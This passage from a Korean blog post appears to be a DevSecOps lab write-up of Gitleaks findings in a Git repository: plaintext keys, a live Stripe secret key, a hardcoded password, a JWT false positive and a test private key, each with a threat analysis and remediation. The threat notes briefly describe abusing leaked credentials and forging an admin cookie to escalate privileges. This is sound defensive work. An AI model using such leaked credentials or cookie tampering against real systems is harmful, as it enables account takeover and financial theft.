&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt; 진단&lt;/b&gt;: 데이터 복호화 권한(대칭키/개인키)의 평문 노출&lt;/li&gt;
&lt;li&gt;&lt;b&gt; 위협&lt;/b&gt;: 별도의 크래킹 과정 없는 &lt;b data-index-in-node=&quot;18&quot; data-path-to-node=&quot;9,1,0&quot;&gt;데이터 즉시 탈취 및 기밀성(Confidentiality) 완전 파괴&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;git show를 이용해 실제 코드를 보면&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eGRgiT/dJMcagSPMzt/2SUIkbkt3DtrKy7KQEHJVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eGRgiT/dJMcagSPMzt/2SUIkbkt3DtrKy7KQEHJVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eGRgiT/dJMcagSPMzt/2SUIkbkt3DtrKy7KQEHJVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeGRgiT%2FdJMcagSPMzt%2F2SUIkbkt3DtrKy7KQEHJVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;140&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;140&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;해결&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;기존 키 즉시 폐기,&lt;b&gt; AES-256&lt;/b&gt; 등 표준 규격의 강력한 신규 키 재발급 (&lt;b&gt;Key Rotation&lt;/b&gt;)&amp;nbsp;&lt;/li&gt;
&lt;li&gt;새로 발급한 키로 모든 &lt;b&gt;데이터 재암호화&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;환경 변수&lt;/b&gt; 혹은&lt;b&gt; Vault,KMS&lt;/b&gt; 같은 전문 키 관리 서비스 도입 (Hardening)&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;git filter -repo &lt;/span&gt;등을 사용하여 &lt;b&gt;GIt 이력 영구 삭제&lt;/b&gt; (Purge)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3) Stripe API 실운영키 (Secret Key) 노출&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;262&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dyKUzE/dJMcafTVEA3/Aa0Skq7vAZHRAfDZOMVMI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dyKUzE/dJMcafTVEA3/Aa0Skq7vAZHRAfDZOMVMI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dyKUzE/dJMcafTVEA3/Aa0Skq7vAZHRAfDZOMVMI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdyKUzE%2FdJMcafTVEA3%2FAa0Skq7vAZHRAfDZOMVMI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;957&quot; height=&quot;262&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;262&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;진단&lt;/b&gt; : 외부 결제 서비스(Stripe) 인증을 위한 &lt;b data-index-in-node=&quot;33&quot; data-path-to-node=&quot;5,0,0&quot;&gt;실운영(Live Mode) 시크릿 키&lt;/b&gt; 평문 노출&lt;/li&gt;
&lt;li&gt;&lt;b&gt;위협&lt;/b&gt; : 재정적 손실, 공급망 공격, 데이터 유출&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;※ stripe key란?&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전세계적으로 가장 많이 사용되는 온라인 결제 솔루션으로 sk_live 접두사가 붙은 비밀키는 실제 고객의 돈과 결제 정보에 접근할 수 있는 마스터키이다.&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;해결 &lt;/b&gt;&amp;nbsp;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt;Key Rotation&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Hardening&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Purge&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;탐지 자동화&lt;/b&gt; : Pre-commit Hook 및 CI/CD 가드레일에 Gitleaks 연동하여 재발 방지&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;4)&amp;nbsp; 소스 코드 내 평문 비밀번호 노출&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;275&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmw2Z2/dJMcafzC9NM/US5F6cgIJkWq0WrlUQolX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmw2Z2/dJMcafzC9NM/US5F6cgIJkWq0WrlUQolX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmw2Z2/dJMcafzC9NM/US5F6cgIJkWq0WrlUQolX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcmw2Z2%2FdJMcafzC9NM%2FUS5F6cgIJkWq0WrlUQolX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;923&quot; height=&quot;275&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;275&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;git show를 이용해 원하는 부분만 출력&amp;nbsp; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;git&amp;nbsp;show&amp;nbsp;6bd0973a:introduction/views.py&amp;nbsp;|&amp;nbsp;sed&amp;nbsp;-n&amp;nbsp;'940,970p'&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;-n이 있으므로 모든 줄을 무시함.&lt;/li&gt;
&lt;li&gt;952,962p -&amp;gt; 오직 이 범위의 줄만 터미널에 보여줌.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/urhZ3/dJMcafGoB1b/uhZ81yXkbOCHA4GKeIpZ4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/urhZ3/dJMcafGoB1b/uhZ81yXkbOCHA4GKeIpZ4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/urhZ3/dJMcafGoB1b/uhZ81yXkbOCHA4GKeIpZ4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FurhZ3%2FdJMcafGoB1b%2FuhZ81yXkbOCHA4GKeIpZ4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;697&quot; height=&quot;548&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;진단&lt;/b&gt; : 로직 내 비교를 위해 삽입된 평문 비밀번호&lt;/li&gt;
&lt;li&gt;&lt;b&gt;위협&amp;nbsp; :&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;인증 우회(Authentication Bypass)&lt;/b&gt;: 공격자가 소스 코드를 분석하여 유효한 계정 정보를 획득, 시스템에 즉시 로그인 가능&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;인가 결함 연쇄 발생&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;admin == &quot;1&quot;&lt;/span&gt; 쿠키 검증 로직과 결합하여, 공격자가 일반 계정으로 로그인 후 쿠키를 변조하여 관리자 권한까지 탈취&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;민감 정보 로깅&lt;/b&gt;: 코드 내 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;print(password)&lt;/span&gt; 구문으로 인해 서버 로그에 사용자 비밀번호가 평문으로 남는 2차 유출 위험 존재&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;해결 방안&lt;/b&gt;&amp;nbsp;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;Credential Rotation&lt;/b&gt;: 유출된 jack 계정 비밀번호 즉시 폐기 및 로직 내 평문/로깅 구문 삭제.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;Secure Authentication&lt;/b&gt;: &lt;b data-index-in-node=&quot;23&quot; data-path-to-node=&quot;3,1,0&quot;&gt;Salted Hash&lt;/b&gt; 기반 DB 인증 및 서버 사이드 세션 관리 체계 도입.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,2,0&quot;&gt;History Purging&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;git filter-repo&lt;/span&gt;를 활용한 Git 전체 타임라인 내 시크릿 흔적 영구 소거.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,0&quot;&gt;Security Guardrails&lt;/b&gt;: &lt;b data-index-in-node=&quot;21&quot; data-path-to-node=&quot;3,3,0&quot;&gt;Pre-commit Hook&lt;/b&gt; 및 CI/CD 내 Gitleaks 자동 스캔 가드레일 구축.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;5)&amp;nbsp; 외부 라이브러리(PyJWT) 메타데이터 내 JWT 토큰 노출&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rsLtr/dJMcahqGgKZ/Ztz5kQxAjyw0Y6iqKfolek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rsLtr/dJMcahqGgKZ/Ztz5kQxAjyw0Y6iqKfolek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rsLtr/dJMcahqGgKZ/Ztz5kQxAjyw0Y6iqKfolek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrsLtr%2FdJMcahqGgKZ%2FZtz5kQxAjyw0Y6iqKfolek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;960&quot; height=&quot;337&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;337&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdZ4zs/dJMcajhFKn1/w3MSGojH9X4eWVLPadYGf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdZ4zs/dJMcajhFKn1/w3MSGojH9X4eWVLPadYGf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdZ4zs/dJMcajhFKn1/w3MSGojH9X4eWVLPadYGf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdZ4zs%2FdJMcajhFKn1%2Fw3MSGojH9X4eWVLPadYGf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;951&quot; height=&quot;288&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;진단&lt;/b&gt; : &lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;6,0,0&quot;&gt;오탐(False Positive)&lt;/b&gt;. 실제 서비스의 비밀키가 아닌, 개발자 가이드를 위한 단순 예시, 로그 상의 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;&amp;gt;&amp;gt;&amp;gt; import jwt&lt;/b&gt;,&lt;b&gt; &amp;gt;&amp;gt;&amp;gt; encoded =&lt;/b&gt;&lt;/span&gt; ... 등의 표현은 파이썬 인터프리터(REPL)의 전형적인 예시 코드 형태&lt;/li&gt;
&lt;li&gt;&lt;b&gt;위협&amp;nbsp;&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;운영 노이즈(Noise)&lt;/b&gt;: 가짜 시크릿이 스캔 결과에 포함되어 실제 위협(예: 하드코딩된 비밀번호)에 대한 집중력을 분산시킴&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;공급망 보안 부실&lt;/b&gt;: 외부 패키지 실물을 직접 Git에 포함할 경우, 라이브러리 업데이트 및 취약점 패치 관리가 불가능해져 보안 가시성이 결여됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;해결 방안&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;Dependency Management&lt;/b&gt;: 실물 폴더 대신 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;requirements.txt&lt;/b&gt;&lt;/span&gt; 목록만 관리하도록 &lt;b data-index-in-node=&quot;59&quot; data-path-to-node=&quot;10,1,0&quot;&gt;의존성 관리 표준&lt;/b&gt; 적용&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,2,0&quot;&gt;History Purging&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;git filter-repo&lt;/span&gt;를 사용하여 Git 전체 타임라인에서 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;lib/ &lt;/b&gt;&lt;/span&gt;경로와 관련된 모든 과거 흔적 영구 소거&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,3,0&quot;&gt;Security Guardrails&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;.gitignore&lt;/b&gt;&lt;/span&gt;에 가상 환경 경로를 추가하여 외부 라이브러리가 Git에 유입되는 것을 원천 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;6) 외부 라이브러리 테스트 코드 내 private key 노출&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;361&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cx3IST/dJMb99MTSWv/kb6ozzWPhzpRPhW5FOSO2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cx3IST/dJMb99MTSWv/kb6ozzWPhzpRPhW5FOSO2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cx3IST/dJMb99MTSWv/kb6ozzWPhzpRPhW5FOSO2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcx3IST%2FdJMb99MTSWv%2Fkb6ozzWPhzpRPhW5FOSO2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;958&quot; height=&quot;361&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;361&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;3&quot;&gt;&lt;b&gt;탐지 로그 요약&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;핵심 정보&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;django-allauth &lt;/b&gt;&lt;/span&gt;패키지의 Apple 로그인 연동 테스트 파일(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;tests.py&lt;/span&gt;) 내 개인키 탐지&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;노출 데이터&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;-----BEGIN PRIVATE KEY-----&lt;/b&gt;&lt;/span&gt;로 시작하는 PEM 형식의 비대칭 암호화 키&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,0&quot;&gt;발생 원인&lt;/b&gt;: 가상 환경 폴더(lib/)가&lt;span style=&quot;background-color: #f6e199;&quot;&gt; &lt;b&gt;.gitignore&lt;/b&gt;&lt;/span&gt;에 등록되지 않아 외부 라이브러리의 테스트 리소스까지 Git 이력에 포함됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;5&quot;&gt;&lt;b&gt;진단&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,0&quot;&gt;데이터 성격&lt;/b&gt;: &lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;6,0,0&quot;&gt;Test Credential (테스트용 인증 정보)&lt;/b&gt;. Apple ID 연동 기능을 검증하기 위해 임의로 생성한 테스트용 키&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;상태 분석&lt;/b&gt;: 실제 서비스 운영에 사용되는 키는 아니나 개인키(Private Key)라는 민감한 패턴이 노출되어&amp;nbsp; 위험으로 식별함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;7&quot;&gt;&lt;b&gt;위협&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;보안 스캔 오염&lt;/b&gt;: 실제 프로젝트의 보안 결함과 상관없는 외부 library의 테스트 데이터가 스캔 결과에 섞여 분석 효율 저하&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;형상 관리 표준 위반&lt;/b&gt;: 대량의 외부 라이브러리 코드가 Git에 포함되어 저장소 용량 낭비 및 의존성 관리 가시성 상실&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;9&quot;&gt;&lt;b&gt;해결 방안&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;Credential Rotation&lt;/b&gt;: (해당 없음) 라이브러리 제공용 테스트 키이므로 실제 키 교체 작업은 불필요&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;Dependency Management&lt;/b&gt;: &lt;span style=&quot;background-color: #dddddd;&quot;&gt;site-packages&lt;/span&gt;를 Git에서 제거하고 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;requirements.txt&lt;/b&gt;&lt;/span&gt;를 통한 목록 관리 체계로 전환&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,2,0&quot;&gt;History Purging&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;git filter-repo&lt;/b&gt;&lt;/span&gt;를 사용하여 과거 모든 커밋 히스토리에서 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;lib/&lt;/span&gt; 폴더 영구 삭제&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,3,0&quot;&gt;Security Guardrails&lt;/b&gt;:&lt;span style=&quot;background-color: #f6e199;&quot;&gt; &lt;b&gt;.gitignore&lt;/b&gt;&lt;/span&gt;에 가상 환경 관련 키워드(lib/, venv/, env/)를 모두 등록하여 외부 파일 유입 원천 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;2-5 결론&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; Gitleaks&lt;/b&gt;는 &lt;b&gt;코드&lt;/b&gt;, &lt;b&gt;설정 파일,&lt;/b&gt; 그리고 &lt;b data-index-in-node=&quot;25&quot; data-path-to-node=&quot;0&quot;&gt;Git 전체 이력&lt;/b&gt;을 샅샅이 뒤져 &lt;b&gt;하드코딩된 비밀번호나 API 키 같은 민감 정보&lt;/b&gt;를 찾아내는 보안 감시관 역할을 한다. 만약 실제 &lt;b&gt;유출이 확인되면 즉시 해당 키를 **무효화&lt;/b&gt;(Rotation)**하고 &lt;b&gt;환경 변수나 전용 관리 도구&lt;/b&gt;로 대체해야 하며, 이미 기록된 흔적은 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;git filter-repo&lt;/span&gt;를 이용해 **이력 자체를 &lt;b&gt;영구 삭제(&lt;/b&gt;Purging)**해야 한다. 마지막으로 &lt;b data-index-in-node=&quot;233&quot; data-path-to-node=&quot;0&quot;&gt;Pre-commit hook&lt;/b&gt;을 설정해 실수가 발생하더라도 커밋 단계에서 자동으로 차단되는 가드레일을 구축하는 것이 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;3. Snyk 설치 및 SCA(Software Composition Analysis) 수행&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SCA&lt;/b&gt;는 &lt;b&gt;오픈소스 라이브러리와 같은 외부 의존성의 보안 취약점과 라이선스를 분석하는 기술 전체&lt;/b&gt;를 일컫는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;snyk는 SCA분야의 대표적인 상용 도구이다.&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
